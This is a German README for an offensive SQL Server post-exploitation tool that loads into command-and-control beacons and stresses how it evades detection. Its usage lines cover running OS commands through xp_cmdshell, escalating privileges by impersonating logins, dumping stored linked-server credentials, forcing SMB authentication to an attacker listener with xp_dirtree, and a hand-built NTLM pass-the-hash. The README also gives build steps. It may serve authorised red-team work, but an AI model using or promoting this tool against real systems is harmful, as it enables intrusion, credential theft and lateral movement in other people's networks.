
Eine Beacon Object File Suite für Microsoft SQL Server, die selbst TDS 7.4 auf der Leitung spricht
Eine Beacon Object File-Suite für Microsoft SQL Server, die selbst TDS 7.4 auf dem Draht spricht, in C. Kein msodbcsql.dll, kein sqloledb.dll, kein .NET CLR, kein PowerShell. Ein COFF pro Architektur, lädt in jedes Beacon, das die kanonische Beacon-API respektiert.
SQL Server taucht in fast jedem Engagement auf. Die beiden Tools, zu denen man greift, sind SQLRecon / PowerUpSQL (CLR + PowerShell) und alles, was sqlcmd.exe umschließt. Beide hinterlassen mscoree.dll, PowerShell AMSI-Ereignisse oder eine vollständige Kopie des Microsoft ODBC-Treibers im Beacon-Speicher. Nichts davon ist notwendig: TDS sind nur gerahmte Bytes über TCP mit einem Schannel-Handshake davor, und jedes BOF-fähige Beacon hat bereits ws2_32, secur32, schannel und bcrypt geladen.
Also implementiert mssqlbof TDS von Hand, in C, und steckt direkt in die SSPI- oder BCrypt-Primitiven, die der Operator für das Ziel benötigt. Beacon lädt ein ~48 KB großes Objekt, führt SQL aus, entlädt. Nichts anderes gelangt in den Prozess.
| C2 | x64 | x86 |
|---|---|---|
| Cobalt Strike | ja | ja |
| Havoc | ja | ja |
| Sliver | ja | ja |
| BruteRatel | ja | ja |
| Nighthawk | ja | ja |
| Outflank Stage1 | ja | ja |
| AdaptixC2 | ja | ja |
Metasploit execute_bof | ja | ja |
| PoshC2 | ja | ja |
Eine Objektdatei pro Architektur. mssql.x64.o ist auf jedem Framework dasselbe Binary – wir verwenden nur die kanonische Beacon-API (BeaconPrintf, BeaconDataExtract usw.) und das <LIB>$<fn>-dynamische Importmuster, das COFF-Lader zur Laufzeit auflösen.
apt install gcc-mingw-w64 libssl-dev
make
Erzeugt build/mssql.x64.o und build/mssql.x86.o. Auf den Teamserver legen, mit dem BOF-Runner Ihres C2 laden.
Alles geht durch eine Objektdatei mit --action <verb>:
--action find LDAP-Aufzählung von MSSQLSvc SPNs im aktuellen Wald
--action info --host <sql> Server/Version/aktueller Benutzer/sysadmin/DB
--action query --host <sql> --sql "..." beliebiges T-SQL, mehrere Zeilen, mehrere Resultsets
--action links --host <sql> Aufzählung von Linked Servern (ein Hop)
--action exec --host <sql> --cmd "..." xp_cmdshell mit automatischer Aktivierung + Wiederherstellung
--action impersonate --host <sql> --discover Anmeldenamen auflisten, die Sie EXECUTE AS verwenden können
--action impersonate --host <sql> --login X --sql "..."
T-SQL als X über EXECUTE AS LOGIN ausführen
--action privesc --host <sql> Privesc-Oberflächenaufzählung in sechs Abschnitten
--action coerce --host <sql> --to "\\listener\x"
SMB-Auth-Erzwingung via xp_dirtree
--action passwords --host <sql> sys.linked_logins + sys.credentials auslesen
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find läuft ohne Host – es spricht mit dem DC des Operators über LDAP.
Vier Modi. Jeder Modus wird Ende-zu-Ende gegen SQL Server 2019 in COFFLoader und Adaptix C2 in einer echten Domäne verifiziert.
--auth sspi (Standard) aktuelles Beacon-Thread-Token
Kerberos, wenn SPN vorhanden, sonst NTLM.
Respektiert make_token / steal_token.
--auth ntlm --domain D --user U --pass P explizites NTLM-Klartext.
Treibt SSPI NTLM-Paket, mehrere Runden.
--auth ntlm --domain D --user U --hash <NT> Pass-the-Hash.
Handgemachtes NTLMv2 (siehe unten).
Kein SSPI, kein lsass, kein make_token.
--auth sql --user U --pass P SQL-Authentifizierung.
--hash akzeptiert einen 32-stelligen hex NT-Hash oder die LM:NT-Form, die secretsdump ausgibt.
SSPI + SEC_WINNT_AUTH_IDENTITY istAcquireCredentialsHandleW(NULL, "NTLM", ...) akzeptiert nur Klartext-Passwörter in der Credential-Identity-Struktur. Der NTLM-Provider leitet den NT-Hash intern ab. Die Einspeisung eines Hashes erfordert das Patchen von lsass (was Mimikatz sekurlsa::pth tut) oder das Ausführen des Beacons unter einem Opferprozess, der bereits vorauthentifiziert wurde.
Die Alternative – die wir gewählt haben – besteht darin, SSPI bei PTH vollständig zu umgehen und die NTLMSSP-Nachrichten selbst zu erzeugen. src/tds/ntlm_pth.c baut einen Typ-1-NEGOTIATE, parst die Typ-2-CHALLENGE des Servers aus dem TDS 0xED-Token, führt die NTLMv2-Mathematik mit dem HMAC-MD5-Provider von bcrypt.dll durch und schreibt einen Typ-3-AUTHENTICATE, den SQL Server gerne an den DC weiterleitet.
Der erste Anlauf scheiterte mit error 18452: login is from an untrusted domain. Das Einfangen von Impackts funktionierender Authentifizierung auf dem Draht neben unserer half, es schnell einzugrenzen: Wir sendeten 24 Nullen für die LMv2-Antwort und die volle 0xe288... Windows Negotiate-Flag-Suppe. Das Anpassen von Impackts LMv2-Berechnung und seines kleineren 0xa2880205-Flagsatzes (keine KEY_EXCH, kein SIGN, kein ALWAYS_SIGN) brachte den Server dazu, den Hash zu akzeptieren. Ausführlicher Bericht in BLOG.
--action exec--impersonate auto (Standard) versuche EXECUTE AS LOGIN, dann TRUSTWORTHY-Sprung
--impersonate login EXECUTE AS LOGIN über eine IMPERSONATE-Gewährung
--impersonate trustworthy Sprung über dbo einer sysadmin-eigenen TRUSTWORTHY-Datenbank
--impersonate none fehlschlagen, wenn nicht sysadmin
privesc zählt die Oberfläche auf, bevor Sie eine Methode auswählen: sysadmin-Mitgliedschaft, IMPERSONATE-Gewährungen (mit dem sysadmin-Status des Ziel-Logins), TRUSTWORTHY-Datenbanken im Besitz eines sysadmin (mit Ihrem Zugriff), Linked Server, Serverberechtigungen und den Zustand von xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # Cross-Kompilieren von BOFs auf x64 + x86
make tds # Linux-Shared-Library des TDS-Kerns (für Fuzzing / Tests)
Die Linux-Shared-Library teilt jede TDS-Quelldatei mit dem Windows-Build; nur tls_schannel.c / sspi.c / ntlm_pth.c werden gegen OpenSSL / Stub-Äquivalente ausgetauscht.
Nichts ruft libc oder Win32 direkt auf. Jedes externe Symbol geht durch die <LIB>$<fn>-dynamische Importkonvention in src/common/dynimports.h. Überprüfen mit:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Nur MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$* und __imp_Beacon* sollten auftauchen. Kein msodbcsql.dll. Kein sqloledb.dll. Kein mscoree.dll.